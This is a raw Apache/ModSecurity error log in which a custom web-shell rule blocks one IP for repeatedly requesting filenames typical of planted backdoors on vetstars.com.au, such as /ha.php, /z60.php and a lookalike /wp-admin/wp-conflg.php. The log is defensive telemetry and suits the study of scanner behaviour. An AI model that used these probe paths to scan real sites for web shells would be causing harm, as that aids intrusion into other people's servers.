[Thu Dec 25 19:10:34.255934 2025] [:error] [pid 31570:tid 31612] [client 4.241.194.62:31243] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aU0bqmPy2DpAzW_4a2hFfwAAAEw"]
[Thu Dec 25 19:10:34.754293 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:12591] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aU0bqmiSFBH7Ee_uldXcrwAAAAE"]
[Thu Dec 25 19:10:35.194148 2025] [:error] [pid 31655:tid 31675] [client 4.241.194.62:39318] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aU0bq5ozPMk9HPtIJPOe1AAAANI"]
[Thu Dec 25 19:10:35.512687 2025] [:error] [pid 31571:tid 31647] [client 4.241.194.62:12461] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aU0bq-7e_lLK2X5wU8m81AAAAJQ"]
[Thu Dec 25 19:10:35.810185 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:31260] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cka.php"] [unique_id "aU0bq6rrTp0EWNyhaIRXtgAAAQY"]
[Thu Dec 25 19:10:36.338923 2025] [:error] [pid 31569:tid 31582] [client 4.241.194.62:31262] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cka.php"] [unique_id "aU0brGiSFBH7Ee_uldXcsQAAAAk"]
[Thu Dec 25 19:10:36.937830 2025] [:error] [pid 31570:tid 31616] [client 4.241.194.62:12662] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cka.php"] [unique_id "aU0brGPy2DpAzW_4a2hFggAAAFA"]
[Thu Dec 25 19:10:37.630493 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:39325] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cka.php"] [unique_id "aU0brarrTp0EWNyhaIRXvAAAAQw"]
[Thu Dec 25 19:10:38.002792 2025] [:error] [pid 2996:tid 3002] [client 4.241.194.62:53829] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU0brqrrTp0EWNyhaIRXvQAAAQQ"]
[Thu Dec 25 19:10:38.346318 2025] [:error] [pid 2996:tid 3006] [client 4.241.194.62:12557] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU0brqrrTp0EWNyhaIRXvwAAAQg"]
[Thu Dec 25 19:10:38.794825 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:53835] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU0brqrrTp0EWNyhaIRXwwAAAQc"]
[Thu Dec 25 19:10:39.324788 2025] [:error] [pid 31570:tid 31614] [client 4.241.194.62:12478] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU0br2Py2DpAzW_4a2hFhAAAAE4"]
[Thu Dec 25 19:10:40.139851 2025] [:error] [pid 31569:tid 31591] [client 4.241.194.62:39317] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aU0bsGiSFBH7Ee_uldXcvQAAABI"]
[Thu Dec 25 19:10:40.495042 2025] [:error] [pid 31570:tid 31603] [client 4.241.194.62:12437] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aU0bsGPy2DpAzW_4a2hFhgAAAEM"]
[Thu Dec 25 19:10:41.200805 2025] [:error] [pid 31569:tid 31575] [client 4.241.194.62:63328] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aU0bsWiSFBH7Ee_uldXcvwAAAAI"]
[Thu Dec 25 19:10:41.811800 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:31283] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aU0bsarrTp0EWNyhaIRXywAAAQM"]
[Thu Dec 25 19:10:42.364181 2025] [:error] [pid 31569:tid 31579] [client 4.241.194.62:53864] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aU0bsmiSFBH7Ee_uldXcwQAAAAY"]
[Thu Dec 25 19:10:42.739628 2025] [:error] [pid 31655:tid 31677] [client 4.241.194.62:12565] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aU0bspozPMk9HPtIJPOe2gAAANQ"]
[Thu Dec 25 19:10:43.264956 2025] [:error] [pid 31569:tid 31589] [client 4.241.194.62:31254] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aU0bs2iSFBH7Ee_uldXcwgAAABA"]
[Thu Dec 25 19:10:43.576204 2025] [:error] [pid 2996:tid 3013] [client 4.241.194.62:12592] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aU0bs6rrTp0EWNyhaIRX0QAAAQ8"]
[Thu Dec 25 19:10:43.903941 2025] [:error] [pid 31655:tid 31661] [client 4.241.194.62:53880] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU0bs5ozPMk9HPtIJPOe4AAAAMQ"]
[Thu Dec 25 19:10:44.313224 2025] [:error] [pid 2996:tid 2998] [client 4.241.194.62:63308] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU0btKrrTp0EWNyhaIRX1QAAAQA"]
[Thu Dec 25 19:10:44.970826 2025] [:error] [pid 31655:tid 31675] [client 4.241.194.62:63318] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU0btJozPMk9HPtIJPOe4gAAANI"]
[Thu Dec 25 19:10:45.411194 2025] [:error] [pid 2996:tid 3020] [client 4.241.194.62:12585] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU0btarrTp0EWNyhaIRX2QAAARY"]
[Thu Dec 25 19:10:45.715107 2025] [:error] [pid 31571:tid 31648] [client 4.241.194.62:12571] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aU0bte7e_lLK2X5wU8m86gAAAJU"]
[Thu Dec 25 19:10:46.046565 2025] [:error] [pid 31569:tid 31593] [client 4.241.194.62:31276] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aU0btmiSFBH7Ee_uldXczgAAABQ"]
[Thu Dec 25 19:10:46.780136 2025] [:error] [pid 31571:tid 31636] [client 4.241.194.62:31274] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aU0btu7e_lLK2X5wU8m87wAAAIk"]
[Thu Dec 25 19:10:47.126702 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:12477] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aU0bt2iSFBH7Ee_uldXc0AAAABY"]
[Thu Dec 25 19:10:47.448626 2025] [:error] [pid 31655:tid 31662] [client 4.241.194.62:44325] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU0bt5ozPMk9HPtIJPOe5QAAAMU"]
[Thu Dec 25 19:10:47.858087 2025] [:error] [pid 31570:tid 31611] [client 4.241.194.62:31292] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU0bt2Py2DpAzW_4a2hFjQAAAEs"]
[Thu Dec 25 19:10:48.388832 2025] [:error] [pid 31655:tid 31657] [client 4.241.194.62:63297] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU0buJozPMk9HPtIJPOe6AAAAMA"]
[Thu Dec 25 19:10:48.694081 2025] [:error] [pid 2996:tid 3015] [client 4.241.194.62:63309] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU0buKrrTp0EWNyhaIRX5QAAARE"]
[Thu Dec 25 19:10:49.020741 2025] [:error] [pid 31569:tid 31586] [client 4.241.194.62:39348] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU0buWiSFBH7Ee_uldXc0wAAAA0"]
[Thu Dec 25 19:10:49.286001 2025] [:error] [pid 2996:tid 3017] [client 4.241.194.62:31232] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU0buarrTp0EWNyhaIRX6gAAARM"]
[Thu Dec 25 19:10:49.865619 2025] [:error] [pid 31655:tid 31677] [client 4.241.194.62:44341] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU0buZozPMk9HPtIJPOe7QAAANQ"]
[Thu Dec 25 19:10:50.182753 2025] [:error] [pid 31570:tid 31606] [client 4.241.194.62:31242] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU0bumPy2DpAzW_4a2hFlwAAAEY"]
[Thu Dec 25 19:10:50.521171 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:63304] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU0bumiSFBH7Ee_uldXc1QAAABU"]
[Thu Dec 25 19:10:50.877201 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:12600] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU0buqrrTp0EWNyhaIRX8gAAAQM"]
[Thu Dec 25 19:10:51.172270 2025] [:error] [pid 2996:tid 3016] [client 4.241.194.62:39303] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU0bu6rrTp0EWNyhaIRX9AAAARI"]
[Thu Dec 25 19:10:51.522650 2025] [:error] [pid 2996:tid 3009] [client 4.241.194.62:36388] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU0bu6rrTp0EWNyhaIRX9wAAAQs"]
[Thu Dec 25 19:10:52.281049 2025] [:error] [pid 2996:tid 3008] [client 4.241.194.62:63303] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aU0bvKrrTp0EWNyhaIRX_gAAAQo"]
[Thu Dec 25 19:10:52.682457 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:44289] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aU0bvO7e_lLK2X5wU8m8-AAAAJI"]
[Thu Dec 25 19:10:52.991302 2025] [:error] [pid 2996:tid 3000] [client 4.241.194.62:31286] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aU0bvKrrTp0EWNyhaIRYAgAAAQI"]
[Thu Dec 25 19:10:53.289126 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:53883] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aU0bvarrTp0EWNyhaIRYBgAAAQE"]
[Thu Dec 25 19:10:53.669736 2025] [:error] [pid 31569:tid 31593] [client 4.241.194.62:31235] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU0bvWiSFBH7Ee_uldXc3AAAABQ"]
[Thu Dec 25 19:10:54.007064 2025] [:error] [pid 2996:tid 3006] [client 4.241.194.62:44332] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU0bvqrrTp0EWNyhaIRYCgAAAQg"]
[Thu Dec 25 19:10:54.404887 2025] [:error] [pid 2996:tid 3008] [client 4.241.194.62:31255] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU0bvqrrTp0EWNyhaIRYDQAAAQo"]
[Thu Dec 25 19:10:54.703197 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:44313] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU0bvmiSFBH7Ee_uldXc4AAAABY"]
[Thu Dec 25 19:10:54.985313 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:31250] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU0bvqrrTp0EWNyhaIRYDwAAAQc"]
[Thu Dec 25 19:10:55.298221 2025] [:error] [pid 2996:tid 3000] [client 4.241.194.62:44350] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU0bv6rrTp0EWNyhaIRYEAAAAQI"]
[Thu Dec 25 19:10:55.619473 2025] [:error] [pid 2996:tid 3021] [client 4.241.194.62:53866] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU0bv6rrTp0EWNyhaIRYEwAAARc"]
[Thu Dec 25 19:10:55.926741 2025] [:error] [pid 2996:tid 3013] [client 4.241.194.62:44288] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU0bv6rrTp0EWNyhaIRYFwAAAQ8"]
[Thu Dec 25 19:10:56.345074 2025] [:error] [pid 31569:tid 31592] [client 4.241.194.62:44310] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU0bwGiSFBH7Ee_uldXc5gAAABM"]
[Thu Dec 25 19:10:56.802230 2025] [:error] [pid 31655:tid 31666] [client 4.241.194.62:63331] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU0bwJozPMk9HPtIJPOe9AAAAMk"]
[Thu Dec 25 19:10:57.135509 2025] [:error] [pid 2996:tid 3008] [client 4.241.194.62:29608] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU0bwarrTp0EWNyhaIRYHQAAAQo"]
[Thu Dec 25 19:10:57.424299 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:63359] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU0bwarrTp0EWNyhaIRYHwAAAQc"]
